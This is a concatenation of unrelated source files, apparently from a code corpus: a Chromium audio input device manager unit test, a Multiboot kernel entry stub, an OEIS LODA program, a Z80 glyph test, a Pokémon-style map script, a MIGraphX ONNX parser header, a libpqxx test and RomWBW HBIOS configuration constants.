#define MAYBE_AudioInputDeviceManagerTest DISABLED_AudioInputDeviceManagerTest
#else
#define MAYBE_AudioInputDeviceManagerTest AudioInputDeviceManagerTest
#endif
class MAYBE_AudioInputDeviceManagerTest : public testing::Test {
public:
MAYBE_AudioInputDeviceManagerTest() {}
protected:
virtual void Initialize() {
base::CommandLine::ForCurrentProcess()->AppendSwitch(
switches::kUseFakeDeviceForMediaStream);
// AudioInputDeviceManager accesses AudioSystem from IO thread, so it never
// runs on the same thread with it, even on Mac.
audio_manager_ = media::AudioManager::CreateForTesting(
std::make_unique<media::AudioThreadImpl>());
// Flush the message loop to ensure proper initialization of AudioManager.
base::RunLoop().RunUntilIdle();
// Use fake devices.
devices_.emplace_back(MEDIA_DEVICE_AUDIO_CAPTURE, "fake_device_1",
"Fake Device 1");
devices_.emplace_back(MEDIA_DEVICE_AUDIO_CAPTURE, "fake_device_2",
"Fake Device 2");
}
void SetUp() override {
Initialize();
audio_system_ =
std::make_unique<media::AudioSystemImpl>(audio_manager_.get());
manager_ = new AudioInputDeviceManager(audio_system_.get());
audio_input_listener_ =
std::make_unique<MockAudioInputDeviceManagerListener>();
manager_->RegisterListener(audio_input_listener_.get());
// Wait until we get the list.
base::RunLoop().RunUntilIdle();
}
void TearDown() override {
manager_->UnregisterListener(audio_input_listener_.get());
audio_manager_->Shutdown();
}
void WaitForOpenCompletion() {
media::WaitableMessageLoopEvent event;
audio_manager_->GetTaskRunner()->PostTaskAndReply(
FROM_HERE, base::DoNothing(), event.GetClosure());
// Runs the loop and waits for the audio thread to call event's
// closure.
event.RunAndWait();
base::RunLoop().RunUntilIdle();
}
TestBrowserThreadBundle thread_bundle_;
std::unique_ptr<media::AudioManager> audio_manager_;
std::unique_ptr<media::AudioSystem> audio_system_;
scoped_refptr<AudioInputDeviceManager> manager_;
std::unique_ptr<MockAudioInputDeviceManagerListener> audio_input_listener_;
MediaStreamDevices devices_;
private:
DISALLOW_COPY_AND_ASSIGN(MAYBE_AudioInputDeviceManagerTest);
};
// Opens and closes the devices.
TEST_F(MAYBE_AudioInputDeviceManagerTest, OpenAndCloseDevice) {
ASSERT_FALSE(devices_.empty());
InSequence s;
for (MediaStreamDevices::const_iterator iter = devices_.begin();
iter != devices_.end(); ++iter) {
// Opens/closes the devices.
int session_id = manager_->Open(*iter);
// Expected mock call with expected return value.
EXPECT_CALL(*audio_input_listener_,
Opened(MEDIA_DEVICE_AUDIO_CAPTURE, session_id))
.Times(1);
// Waits for the callback.
WaitForOpenCompletion();
manager_->Close(session_id);
EXPECT_CALL(*audio_input_listener_,
Closed(MEDIA_DEVICE_AUDIO_CAPTURE, session_id))
.Times(1);
// Waits for the callback.
base::RunLoop().RunUntilIdle();
}
}
// Opens multiple devices at one time and closes them later.
TEST_F(MAYBE_AudioInputDeviceManagerTest, OpenMultipleDevices) {
ASSERT_FALSE(devices_.empty());
InSequence s;
int index = 0;
std::unique_ptr<int[]> session_id(new int[devices_.size()]);
// Opens the devices in a loop.
for (MediaStreamDevices::const_iterator iter = devices_.begin();
iter != devices_.end(); ++iter, ++index) {
// Opens the devices.
session_id[index] = manager_->Open(*iter);
// Expected mock call with expected returned value.
EXPECT_CALL(*audio_input_listener_,
Opened(MEDIA_DEVICE_AUDIO_CAPTURE, session_id[index]))
.Times(1);
// Waits for the callback.
WaitForOpenCompletion();
}
// Checks if the session_ids are unique.
for (size_t i = 0; i < devices_.size() - 1; ++i) {
for (size_t k = i + 1; k < devices_.size(); ++k) {
EXPECT_TRUE(session_id[i] != session_id[k]);
}
}
for (size_t i = 0; i < devices_.size(); ++i) {
// Closes the devices.
manager_->Close(session_id[i]);
EXPECT_CALL(*audio_input_listener_,
Closed(MEDIA_DEVICE_AUDIO_CAPTURE, session_id[i]))
.Times(1);
// Waits for the callback.
base::RunLoop().RunUntilIdle();
}
}
// Opens a non-existing device.
TEST_F(MAYBE_AudioInputDeviceManagerTest, OpenNotExistingDevice) {
InSequence s;
MediaStreamType stream_type = MEDIA_DEVICE_AUDIO_CAPTURE;
std::string device_name("device_doesnt_exist");
std::string device_id("id_doesnt_exist");
MediaStreamDevice dummy_device(stream_type, device_id, device_name);
int session_id = manager_->Open(dummy_device);
EXPECT_CALL(*audio_input_listener_,
Opened(MEDIA_DEVICE_AUDIO_CAPTURE, session_id))
.Times(1);
// Waits for the callback.
WaitForOpenCompletion();
}
// Opens default device twice.
TEST_F(MAYBE_AudioInputDeviceManagerTest, OpenDeviceTwice) {
ASSERT_FALSE(devices_.empty());
InSequence s;
// Opens and closes the default device twice.
int first_session_id = manager_->Open(devices_.front());
int second_session_id = manager_->Open(devices_.front());
// Expected mock calls with expected returned values.
EXPECT_NE(first_session_id, second_session_id);
EXPECT_CALL(*audio_input_listener_,
Opened(MEDIA_DEVICE_AUDIO_CAPTURE, first_session_id))
.Times(1);
EXPECT_CALL(*audio_input_listener_,
Opened(MEDIA_DEVICE_AUDIO_CAPTURE, second_session_id))
.Times(1);
// Waits for the callback.
WaitForOpenCompletion();
manager_->Close(first_session_id);
manager_->Close(second_session_id);
EXPECT_CALL(*audio_input_listener_,
Closed(MEDIA_DEVICE_AUDIO_CAPTURE, first_session_id))
.Times(1);
EXPECT_CALL(*audio_input_listener_,
Closed(MEDIA_DEVICE_AUDIO_CAPTURE, second_session_id))
.Times(1);
// Waits for the callback.
base::RunLoop().RunUntilIdle();
}
// Accesses then closes the sessions after opening the devices.
TEST_F(MAYBE_AudioInputDeviceManagerTest, AccessAndCloseSession) {
ASSERT_FALSE(devices_.empty());
InSequence s;
int index = 0;
std::unique_ptr<int[]> session_id(new int[devices_.size()]);
// Loops through the devices and calls Open()/Close()/GetOpenedDeviceById
// for each device.
for (MediaStreamDevices::const_iterator iter = devices_.begin();
iter != devices_.end(); ++iter, ++index) {
// Note that no DeviceStopped() notification for Event Handler as we have
// stopped the device before calling close.
session_id[index] = manager_->Open(*iter);
EXPECT_CALL(*audio_input_listener_,
Opened(MEDIA_DEVICE_AUDIO_CAPTURE, session_id[index]))
.Times(1);
WaitForOpenCompletion();
const MediaStreamDevice* device =
manager_->GetOpenedDeviceById(session_id[index]);
DCHECK(device);
EXPECT_EQ(iter->id, device->id);
manager_->Close(session_id[index]);
EXPECT_CALL(*audio_input_listener_,
Closed(MEDIA_DEVICE_AUDIO_CAPTURE, session_id[index]))
.Times(1);
base::RunLoop().RunUntilIdle();
}
}
// Access an invalid session.
TEST_F(MAYBE_AudioInputDeviceManagerTest, AccessInvalidSession) {
InSequence s;
// Opens the first device.
MediaStreamDevices::const_iterator iter = devices_.begin();
int session_id = manager_->Open(*iter);
EXPECT_CALL(*audio_input_listener_,
Opened(MEDIA_DEVICE_AUDIO_CAPTURE, session_id))
.Times(1);
WaitForOpenCompletion();
// Access a non-opened device.
// This should fail and return an empty MediaStreamDevice.
int invalid_session_id = session_id + 1;
const MediaStreamDevice* device =
manager_->GetOpenedDeviceById(invalid_session_id);
DCHECK(!device);
manager_->Close(session_id);
EXPECT_CALL(*audio_input_listener_,
Closed(MEDIA_DEVICE_AUDIO_CAPTURE, session_id))
.Times(1);
base::RunLoop().RunUntilIdle();
}
class AudioInputDeviceManagerNoDevicesTest
: public MAYBE_AudioInputDeviceManagerTest {
public:
AudioInputDeviceManagerNoDevicesTest() {}
protected:
void Initialize() override {
// MockAudioManager has no input and no output audio devices.
audio_manager_ = std::make_unique<media::MockAudioManager>(
std::make_unique<media::AudioThreadImpl>());
// Devices to request from AudioInputDeviceManager.
devices_.emplace_back(MEDIA_TAB_AUDIO_CAPTURE, "tab_capture",
"Tab capture");
devices_.emplace_back(MEDIA_DESKTOP_AUDIO_CAPTURE, "desktop_capture",
"Desktop capture");
devices_.emplace_back(MEDIA_DEVICE_AUDIO_CAPTURE, "fake_device",
"Fake Device");
}
private:
DISALLOW_COPY_AND_ASSIGN(AudioInputDeviceManagerNoDevicesTest);
};
TEST_F(AudioInputDeviceManagerNoDevicesTest,
ParametersValidWithoutAudioDevices) {
ASSERT_FALSE(devices_.empty());
InSequence s;
for (const auto& device_request : devices_) {
int session_id = manager_->Open(device_request);
EXPECT_CALL(*audio_input_listener_, Opened(device_request.type, session_id))
.Times(1);
WaitForOpenCompletion();
// Expects that device parameters stored by the manager are valid.
const MediaStreamDevice* device = manager_->GetOpenedDeviceById(session_id);
EXPECT_TRUE(device->input.IsValid());
manager_->Close(session_id);
EXPECT_CALL(*audio_input_listener_, Closed(device_request.type, session_id))
.Times(1);
base::RunLoop().RunUntilIdle();
}
}
} // namespace content
|
bits 32
section .text
align 4
dd 0x1BADB002
dd 0x00
dd - (0x1BADB002+0x00)
global start
extern kmain ; the entry function kmain in the object file
start:
cli ; clear the interrupts
call kmain ; instruct processor to continue execution from kmain function in c code
hlt ; halt the cpu from this address |
; A068067: Number of integers m, 0 < m <= n, such that n divides m(m+1)/2.
; Submitted by Jon Maiga
; 1,0,2,0,2,1,2,0,2,1,2,1,2,1,4,0,2,1,2,1,4,1,2,1,2,1,2,1,2,3,2,0,4,1,4,1,2,1,4,1,2,3,2,1,4,1,2,1,2,1,4,1,2,1,4,1,4,1,2,3,2,1,4,0,4,3,2,1,4,3,2,1,2,1,4,1,4,3,2,1,2,1,2,3,4,1,4,1,2,3,4,1,4,1,4,1,2,1,4,1
mov $1,$0
gcd $0,2
seq $1,68068 ; Number of odd unitary divisors of n. d is a unitary divisor of n if d divides n and gcd(d,n/d)=1.
add $0,$1
sub $0,2
|
; Copyright 2021 Justin Skists
;
; Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated
; documentation files (the "Software"), to deal in the Software without restriction, including without limitation the
; rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit
; persons to whom the Software is furnished to do so, subject to the following conditions:
;
; The above copyright notice and this permission notice shall be included in all copies or substantial portions of the
; Software.
;
; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
; WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
; COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
; OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
SECTION code_user
DEFC BUFFER_SIZE = 512
PUBLIC test_out_glyph8_mask
EXTERN asm_oled_glyph8_output_mask
EXTERN test_glyph4
EXTERN test_glyph4_mask
EXTERN test_buffer
test_out_glyph8_mask:
LD DE, test_buffer
LD IX, test_glyph4
LD IY, test_glyph4_mask
LD B, 8 ; width
LD C, 0 ; offset
CALL asm_oled_glyph8_output_mask
RET
|
object_const_def ; object_event constants
OreburghApartmentE2F_MapScripts:
db 0 ; scene scripts
db 0 ; callbacks
OreburghApartmentE2F_GreatBallKidScript:
faceplayer
checkevent EVENT_OREBURGH_GOT_GREAT_BALL
iftrue .After
opentext
writetext .IntroText
waitbutton
verbosegiveitem GREAT_BALL
iffalse .BagFull
setevent EVENT_OREBURGH_GOT_GREAT_BALL
writetext .AfterText
waitbutton
.BagFull:
closetext
end
.After:
jumptext .AfterText
.IntroText:
text "Wow… Your #MON's"
line "eyes are sparkling"
cont "brightly!"
para "Seeing that makes"
line "me happy!"
para "Here, I want you"
line "to have this!"
done
.AfterText:
text "You know how"
line "#MON stay"
cont "inside their"
cont "# BALLS?"
para "I try to think"
line "about what would"
cont "be the best"
cont "# BALLS for"
cont "them."
done
OreburghApartmentE2F_UtmostCareGuyScript:
jumptextfaceplayer .Text
.Text:
text "The OREBURGH MINE"
line "is operated with"
cont "the utmost care."
para "We avoid causing"
line "damage to the"
cont "natural habitats"
cont "of #MON."
done
OreburghApartmentE2F_MachineGuyScript:
jumptextfaceplayer .Text
.Text:
text "Coal is carried"
line "out of OREBURGH"
cont "MINE on a fully"
cont "automated system."
para "Machines do all"
line "the work"
cont "automatically."
para "So, it's all very"
line "easy."
done
OreburghApartmentE2F_MapEvents:
db 0, 0 ; filler
db 1 ; warp events
warp_event 5, 1, OREBURGH_APARTMENT_E_1F, 3
db 0 ; coord events
db 0 ; bg events
db 3 ; object events
object_event 1, 4, SPRITE_YOUNGSTER, SPRITEMOVEDATA_STANDING_RIGHT, 0, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, OreburghApartmentE2F_GreatBallKidScript, -1
object_event 6, 6, SPRITE_GENTLEMAN, SPRITEMOVEDATA_WANDER, 1, 1, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, OreburghApartmentE2F_UtmostCareGuyScript, -1
object_event 9, 2, SPRITE_SCIENTIST, SPRITEMOVEDATA_WANDER, 1, 1, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, OreburghApartmentE2F_MachineGuyScript, -1
|
#ifndef MIGRAPHX_GUARD_AMDMIGRAPHX_ONNX_PARSER_HPP
#define MIGRAPHX_GUARD_AMDMIGRAPHX_ONNX_PARSER_HPP
#include <migraphx/config.hpp>
#include <migraphx/program.hpp>
#include <google/protobuf/text_format.h>
#include <google/protobuf/io/zero_copy_stream_impl.h>
#include <onnx.pb.h>
#include <unordered_map>
#include <functional>
#include <utility>
#include <vector>
namespace migraphx {
inline namespace MIGRAPHX_INLINE_NS {
namespace onnx {
namespace onnx = onnx_for_migraphx;
struct onnx_parser
{
std::string filename;
std::string path = ".";
using attribute_map = std::unordered_map<std::string, onnx::AttributeProto>;
struct node_info
{
attribute_map attributes{};
std::size_t num_outputs = 1;
std::string name = "";
module* mod = nullptr;
instruction_ref make_contiguous(instruction_ref ins) const;
instruction_ref add_bias(const std::vector<instruction_ref>& args,
instruction_ref curr_ins,
uint64_t axis) const;
instruction_ref add_broadcastable_binary_op(const std::string& op_name,
instruction_ref arg0,
instruction_ref arg1) const;
instruction_ref add_instruction(const operation& op,
const std::vector<instruction_ref>& args) const;
instruction_ref add_instruction(const operation& op,
const std::vector<instruction_ref>& args,
const std::vector<module_ref>& mods) const;
template <class... Ts>
instruction_ref add_instruction(const operation& op, Ts... xs) const
{
return add_instruction(op, {xs...});
}
instruction_ref add_literal(literal l) const;
template <class... Ts>
instruction_ref add_literal(Ts&&... xs) const
{
return add_literal(literal{std::forward<Ts>(xs)...});
}
};
using node_map = std::unordered_map<std::string, onnx::NodeProto>;
using op_func = std::function<std::vector<instruction_ref>(
onnx_parser&, const node_info&, std::vector<instruction_ref>)>;
node_map nodes;
std::unordered_map<std::string, instruction_ref> instructions;
program prog = program();
std::size_t default_dim_value = 1;
std::unordered_map<std::string, std::vector<std::size_t>> map_input_dims;
bool skip_unknown_operators = false;
int64_t max_loop_iterations = 10;
int64_t opset_version = 13;
std::unordered_map<std::string, op_func> ops;
onnx_parser();
operation load(const std::string& name, const node_info& info) const;
void parse_undefined(module* mod, const std::string& name);
static int64_t get_opset_version(const onnx::ModelProto& model);
void parse_from(std::istream& is, std::string name = "");
void parse_from(const void* data, std::size_t size);
void parse_graph(module* mod, const onnx::GraphProto& graph);
literal parse_value(const onnx::AttributeProto& attr) const;
literal parse_tensor(const onnx::TensorProto& t) const;
shape parse_type(const onnx::TypeProto& t, const std::vector<std::size_t>& input_dims) const;
};
shape::type_t get_type(int dtype);
} // namespace onnx
} // namespace MIGRAPHX_INLINE_NS
} // namespace migraphx
#endif
|
#include "../test_helpers.hxx"
extern "C"
{
#include "libpq-fe.h"
}
using namespace std;
using namespace pqxx;
namespace
{
void test_error_verbosity()
{
PQXX_CHECK_EQUAL(
int(connection_base::terse),
int(PQERRORS_TERSE),
"error_verbosity enum should match PGVerbosity.");
PQXX_CHECK_EQUAL(
int(connection_base::normal),
int(PQERRORS_DEFAULT),
"error_verbosity enum should match PGVerbosity.");
PQXX_CHECK_EQUAL(
int(connection_base::verbose),
int(PQERRORS_VERBOSE),
"error_verbosity enum should match PGVerbosity.");
connection conn;
PQXX_CHECK_EQUAL(
int(conn.get_verbosity()),
int(connection_base::normal),
"Unexpected initial error verbosity.");
conn.set_verbosity(connection_base::terse);
PQXX_CHECK_EQUAL(
int(conn.get_verbosity()),
int(connection_base::terse),
"Setting verbosity did not work.");
}
PQXX_REGISTER_TEST(test_error_verbosity);
} // namespace
|
; The purpose of this file is to define generic symbols and to include
; the requested build configuraton file to bring in platform specifics.
; There are several hardware platforms supported by SBC.
; 1. SBC Z80 SBC (v1 or v2) w/ ECB interface
; 2. ZETA Standalone Z80 SBC w/ SBC compatibility
; 3. ZETA2 Second version of ZETA with enhanced memory bank switching
; 4. N8 MSX-ish Z180 SBC w/ onboard video and sound
; 5. MK4 Mark IV Z180 based SBC w/ ECB interface
; 6. UNA Any Z80/Z180 computer with UNA BIOS
; 7. RCZ80 RC2014 based system with 512K banked RAM/ROM card
; 8. RCZ180 RC2014 based system with Z180 CPU
; 9. EZZ80 Easy Z80, Z80 SBC w/ RC2014 bus and CTC
; 10. SCZ180 Steve Cousins Z180 based system
; 11. DYNO Steve Garcia's Dyno Micro-ATX Motherboard
; 12. RCZ280 Z280 CPU on RC2014 or ZZ80MB
; 13. MBC Andrew Lynch's Multi Board Computer
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; INCLUDE VERSION
;
#INCLUDE "ver.inc" ; ADD BIOSVER
;
FALSE .EQU 0
TRUE .EQU ~FALSE
;
; DEBUGGING OPTIONS
;
USENONE .EQU 0 ; NO DEBUG
USEXIO .EQU 1 ; BASIC SERIAL DRIVER
USEMIO .EQU 2 ; MEMORY BUFFER DRIVER
WBWDEBUG .EQU USENONE
;
; DIAGNOSTIC LEVEL OPTIONS
;
DL_NONE .EQU 0 ; HBIOS DISPLAY NO MESSAGES
DL_CRITICAL .EQU 4 ; HBIOS DISPLAY CRITICAL ERROR MESSAGES
DL_ERROR .EQU 8 ; HBIOS DISPLAYS ALL ERROR MESSAGES
DL_WARNING .EQU 12 ; HBIOS DISPLAYS WARNING MESSAGES
DL_INFO .EQU 16 ; HBIOS DISPLAYS INFORMATIONAL MESSAGES
DL_DETAIL .EQU 20 ; HBIOS DISPLAYS DETAILED DIAGNOSTIC MESSAGES
DL_VERBOSE .EQU 24 ; HBIOS DISPLAYS ANYTHING IT KNOWS HOW TO
;
; PRIMARY HARDWARE PLATFORMS
;
PLT_SBC .EQU 1 ; SBC ECB Z80 SBC
PLT_ZETA .EQU 2 ; ZETA Z80 SBC
PLT_ZETA2 .EQU 3 ; ZETA Z80 V2 SBC
PLT_N8 .EQU 4 ; N8 (HOME COMPUTER) Z180 SBC
PLT_MK4 .EQU 5 ; MARK IV
PLT_UNA .EQU 6 ; UNA BIOS
PLT_RCZ80 .EQU 7 ; RC2014 W/ Z80
PLT_RCZ180 .EQU 8 ; RC2014 W/ Z180
PLT_EZZ80 .EQU 9 ; EASY Z80
PLT_SCZ180 .EQU 10 ; SCZ180
PLT_DYNO .EQU 11 ; DYNO MICRO-ATX MOTHERBOARD
PLT_RCZ280 .EQU 12 ; RC2014 W/ Z280
PLT_MBC .EQU 13 ; MULTI BOARD COMPUTER
;
; CPU TYPES
;
CPU_NONE .EQU 0 ; NO CPU TYPE DEFINED
CPU_Z80 .EQU 1 ; Z80 FAMILY
CPU_Z180 .EQU 2 ; Z180 FAMILY
CPU_Z280 .EQU 3 ; Z280 FAMILY
;
; BIOS MODE
;
BIOS_NONE .EQU 0 ; NO BIOS TYPE DEFINED
BIOS_WBW .EQU 1 ; ROMWBW HBIOS
BIOS_UNA .EQU 2 ; UNA UBIOS
;
; DEFAULT HBIOS DIAGNOSTIC LEVEL
; WILL ULTIMATELY BE MOVED TO CONFIG FILE
;
DIAGLVL .EQU DL_CRITICAL
;
; MEMORY MANAGERS
;
MM_NONE .EQU 0
MM_SBC .EQU 1 ; ORIGINAL N8VEM/RBC Z80 SBC BANKED MEMORY
MM_Z2 .EQU 2 ; 16K X 4 BANKED MEMORY INTRODUCED ON ZETA2
MM_N8 .EQU 3 ; Z180 CUSTOMIZED FOR N8 MEMORY EXTENSIONS
MM_Z180 .EQU 4 ; Z180 NATIVE MEMORY MANAGER
MM_Z280 .EQU 5 ; Z280 NATIVE MEMORY MANAGER
MM_ZRC .EQU 6 ; ZRC BANK SWITCHING
MM_MBC .EQU 7 ; MBC MEMORY MANAGER
;
; BOOT STYLE
;
BT_MENU .EQU 1 ; WAIT FOR MENU SELECTION AT LOADER PROMPT
BT_AUTO .EQU 2 ; AUTO SELECT BOOT_DEFAULT AFTER BOOT_TIMEOUT
;
; BOOT RECOVERY METHODS
;
BT_REC_NONE .EQU 0 ; NO RECOVERY MODE
BT_REC_FORCE .EQU 1 ; FORCE BOOT RECOVERY MODE
BT_REC_SBC01 .EQU 2 ; ECB-SBCV2 - BIT 1 RTC HIGH
BT_REC_SBC1B .EQU 3 ; ECB-SBCV2 - 1-BIT IO PORT
BT_REC_SBCRI .EQU 4 ; ECB-SBCV2 - 16550 UART RING INDICATOR LINE
;
BT_REC_TYPE .EQU BT_REC_NONE ; BOOT RECOVERY METHOD TO USE
;
; FLOPPY DISK MEDIA SELECTIONS (ID'S MUST BE INDEX OF ENTRY IN FCD_TBL)
;
FDM720 .EQU 0 ; 3.5" FLOPPY, 720KB, 2 SIDES, 80 TRKS, 9 SECTORS
FDM144 .EQU 1 ; 3.5" FLOPPY, 1.44MB, 2 SIDES, 80 TRKS, 18 SECTORS
FDM360 .EQU 2 ; 5.25" FLOPPY, 360KB, 2 SIDES, 40 TRKS, 9 SECTORS
FDM120 .EQU 3 ; 5.25" FLOPPY, 1.2MB, 2 SIDES, 80 TRKS, 15 SECTORS
FDM111 .EQU 4 ; 8" FLOPPY, 1.11MB, 2 SIDES, 74 TRKS, 15 SECTORS
;
; ZILOG CTC MODE SELECTIONS
;
CTCMODE_NONE .EQU 0 ; NO CTC
CTCMODE_CTR .EQU 1 ; CTC COUNTER
CTCMODE_TIM16 .EQU 2 ; CTC TIMER W/ DIV 16
CTCMODE_TIM256 .EQU 3 ; CTC TIMER W/ DIV 256
;
; DS1302 RTC MODE SELECTIONS
;
DSRTCMODE_NONE .EQU 0 ; NO DSRTC
DSRTCMODE_STD .EQU 1 ; ORIGINAL DSRTC CIRCUIT (SBC, ZETA, MK4)
DSRTCMODE_MFPIC .EQU 2 ; MF/PIC VARIANT
;
; DS1307 RTC MODE SELECTIONS
;
DS7RTCMODE_NONE .EQU 0 ; NO DSRTC
DS7RTCMODE_PCF .EQU 1 ; PCF8584 I2C
;
; SIO MODE SELECTIONS
;
SIOMODE_NONE .EQU 0
SIOMODE_STD .EQU 1 ; STD SIO REG CFG (EZZ80, KIO)
SIOMODE_RC .EQU 2 ; RC2014 SIO MODULE (SPENCER OWEN)
SIOMODE_SMB .EQU 3 ; RC2014 SIO MODULE (SCOTT BAKER)
SIOMODE_ZP .EQU 4 ; ECB-ZILOG PERIPHERALS BOARD
;
; TYPE OF CONSOLE BELL TO USE
;
CONBELL_NONE .EQU 0
CONBELL_PSG .EQU 1
CONBELL_IOBIT .EQU 2
;
; LED MODE SELECTIONS
;
LEDMODE_NONE .EQU 0
LEDMODE_STD .EQU 1
LEDMODE_RTC .EQU 2
;
; DSKY MODE SELECTIONS
;
DSKYMODE_NONE .EQU 0
DSKYMODE_V1 .EQU 1
DSKYMODE_NG .EQU 2
;
; FD MODE SELECTIONS
;
FDMODE_NONE .EQU 0
FDMODE_DIO .EQU 1 ; DISKIO V1
FDMODE_ZETA .EQU 2 ; ZETA
FDMODE_ZETA2 .EQU 3 ; ZETA V2
FDMODE_DIDE .EQU 4 ; DUAL IDE
FDMODE_N8 .EQU 5 ; N8
FDMODE_DIO3 .EQU 6 ; DISKIO V3
FDMODE_RCSMC .EQU 7 ; RC2014 SMC 9266 @ $40 (SCOTT BAKER)
FDMODE_RCWDC .EQU 8 ; RC2014 WDC 37C65 @ $40 (SCOTT BAKER)
FDMODE_DYNO .EQU 9 ; DYNO WDC 37C65 @ $84
FDMODE_EPFDC .EQU 10 ; RC2014 ETCHED PIXELS FDC
FDMODE_MBC .EQU 11 ; MULTI-BOARD COMPUTER FDC
;
; IDE MODE SELECTIONS
;
IDEMODE_NONE .EQU 0
IDEMODE_DIO .EQU 1 ; DISKIO V1
IDEMODE_DIDE .EQU 2 ; DUAL IDE
IDEMODE_MK4 .EQU 3 ; MARK IV ONBOARD IDE (8 BIT ONLY)
IDEMODE_RC .EQU 4 ; RC2014 CF MODULE (8 BIT ONLY)
;
; PPIDE MODE SELECTIONS
;
PPIDEMODE_NONE .EQU 0
PPIDEMODE_SBC .EQU 1 ; STANDARD SBC PARALLEL PORT
PPIDEMODE_DIO3 .EQU 2 ; DISKIO V3 PARALLEL PORT
PPIDEMODE_MFP .EQU 3 ; MULTIFUNCTION / PIC
PPIDEMODE_N8 .EQU 4 ; MULTIFUNCTION / PIC
PPIDEMODE_RC .EQU 5 ; RC2014 PPIDE MODULE @ $20 (ED BRINDLEY)
PPIDEMODE_DYNO .EQU 6 ; DYNO PPIDE @ $4C
;
; SD MODE SELECTIONS
;
SDMODE_NONE .EQU 0
SDMODE_JUHA .EQU 1 ; JUHA MINI BOARD
SDMODE_N8 .EQU 2 ; N8-2511, UNMODIFIED
SDMODE_CSIO .EQU 3 ; N8-2312 OR N8-2511 MODIFIED
SDMODE_PPI .EQU 4 ; PPISD MINI BOARD
SDMODE_UART .EQU 5 ; SD INTERFACE VIA UART
SDMODE_DSD .EQU 6 ; DUAL SD
SDMODE_MK4 .EQU 7 ; MARK IV
SDMODE_SC .EQU 8 ; SC (Steve Cousins)
SDMODE_MT .EQU 9 ; MT (Shift register SPI WIZNET for RC2014)
;
; SOUND CHIP MODE SELECTIONS
;
AYMODE_NONE .EQU 0
AYMODE_N8 .EQU 1 ; N8 BUILT-IN SOUND
AYMODE_SCG .EQU 2 ; SCG ECB BOARD
AYMODE_RCZ80 .EQU 3 ; RC2014 SOUND MODULE BY ED BRINDLEY ON Z80
AYMODE_RCZ180 .EQU 4 ; RC2014 SOUND MODULE BY ED BRINDLEY ON Z180
AYMODE_MSX .EQU 5 ; RC2014 SOUND MODULE REV6 BY ED BRINDLEY ON Z80/Z180 AT MSX PORTS
AYMODE_LINC .EQU 6 ; LINC Z50 AY SOUND CARD
;
; TMS VIDEO MODE SELECTIONS
;
TMSMODE_NONE .EQU 0
TMSMODE_SCG .EQU 1 ; SCG ECB BOARD
TMSMODE_N8 .EQU 2 ; N8 BUILT-IN VIDEO
TMSMODE_RC .EQU 3 ; RC2014 TMS9918 VIDEO BOARD
TMSMODE_RCV9958 .EQU 4 ; RC2014 V9958 VIDEO BOARD
;
; DMA MODE SELECTIONS
;
DMAMODE_NONE .EQU 0
DMAMODE_ECB .EQU 1 ; ECB-DMA WOLFGANG KABATZKE'S Z80 DMA ECB BOARD
DMAMODE_Z180 .EQU 2 ; Z180 INTEGRATED DMA
DMAMODE_Z280 .EQU 3 ; Z280 INTEGRATED DMA
DMAMODE_RC .EQU 4 ; RC2014 Z80 DMA
DMAMODE_MBC .EQU 5 ; MBC
;
; SERIAL DEVICE CONFIGURATION CONSTANTS
;
SER_DATA5 .EQU 0 << 0
SER_DATA6 .EQU 1 << 0
SER_DATA7 .EQU 2 << 0
SER_DATA8 .EQU 3 << 0
;
SER_PARNONE .EQU 0 << 3
SER_PARODD .EQU 1 << 3
SER_PAREVEN .EQU 3 << 3
SER_PARMARK .EQU 5 << 3
SER_PARSPACE .EQU 7 << 3
;
SER_STOP1 .EQU 0 << 2
SER_STOP2 .EQU 1 << 2
;
; SERIAL BAUD RATES ENCODED AS V = 75 * 2^X * 3^Y
; AND STORED AS 5 BITS: YXXXX
;
SER_BAUD75 .EQU $00 << 8
SER_BAUD150 .EQU $01 << 8
SER_BAUD300 .EQU $02 << 8
SER_BAUD600 .EQU $03 << 8
SER_BAUD1200 .EQU $04 << 8
SER_BAUD2400 .EQU $05 << 8
SER_BAUD4800 .EQU $06 << 8
SER_BAUD9600 .EQU $07 << 8
SER_BAUD19200 .EQU $08 << 8
SER_BAUD38400 .EQU $09 << 8
SER_BAUD76800 .EQU $0A << 8
SER_BAUD153600 .EQU $0B << 8
SER_BAUD307200 .EQU $0C << 8
SER_BAUD614400 .EQU $0D << 8
SER_BAUD1228800 .EQU $0E << 8
SER_BAUD2457600 .EQU $0F << 8
SER_BAUD225 .EQU $10 << 8
SER_BAUD450 .EQU $11 << 8
SER_BAUD900 .EQU $12 << 8
SER_BAUD1800 .EQU $13 << 8
SER_BAUD3600 .EQU $14 << 8
SER_BAUD7200 .EQU $15 << 8
SER_BAUD14400 .EQU $16 << 8
SER_BAUD28800 .EQU $17 << 8
SER_BAUD57600 .EQU $18 << 8
SER_BAUD115200 .EQU $19 << 8
SER_BAUD230400 .EQU $1A << 8
SER_BAUD460800 .EQU $1B << 8
SER_BAUD921600 .EQU $1C << 8
SER_BAUD1843200 .EQU $1D << 8
SER_BAUD3686400 .EQU $1E << 8
SER_BAUD7372800 .EQU $1F << 8
;
; UART DIVIDER VALUES
; STORED AS 5 BITS: YXXXX
;
DIV_1 .EQU $00
DIV_2 .EQU $01
DIV_4 .EQU $02
DIV_8 .EQU $03
DIV_16 .EQU $04
DIV_32 .EQU $05
DIV_64 .EQU $06
DIV_128 .EQU $07
DIV_256 .EQU $08
DIV_512 .EQU $09
DIV_1024 .EQU $0A
DIV_2048 .EQU $0B
DIV_4096 .EQU $0C
DIV_8192 .EQU $0D
DIV_16384 .EQU $0E
DIV_32768 .EQU $0F
DIV_3 .EQU $10
DIV_6 .EQU $11
DIV_12 .EQU $12
DIV_24 .EQU $13
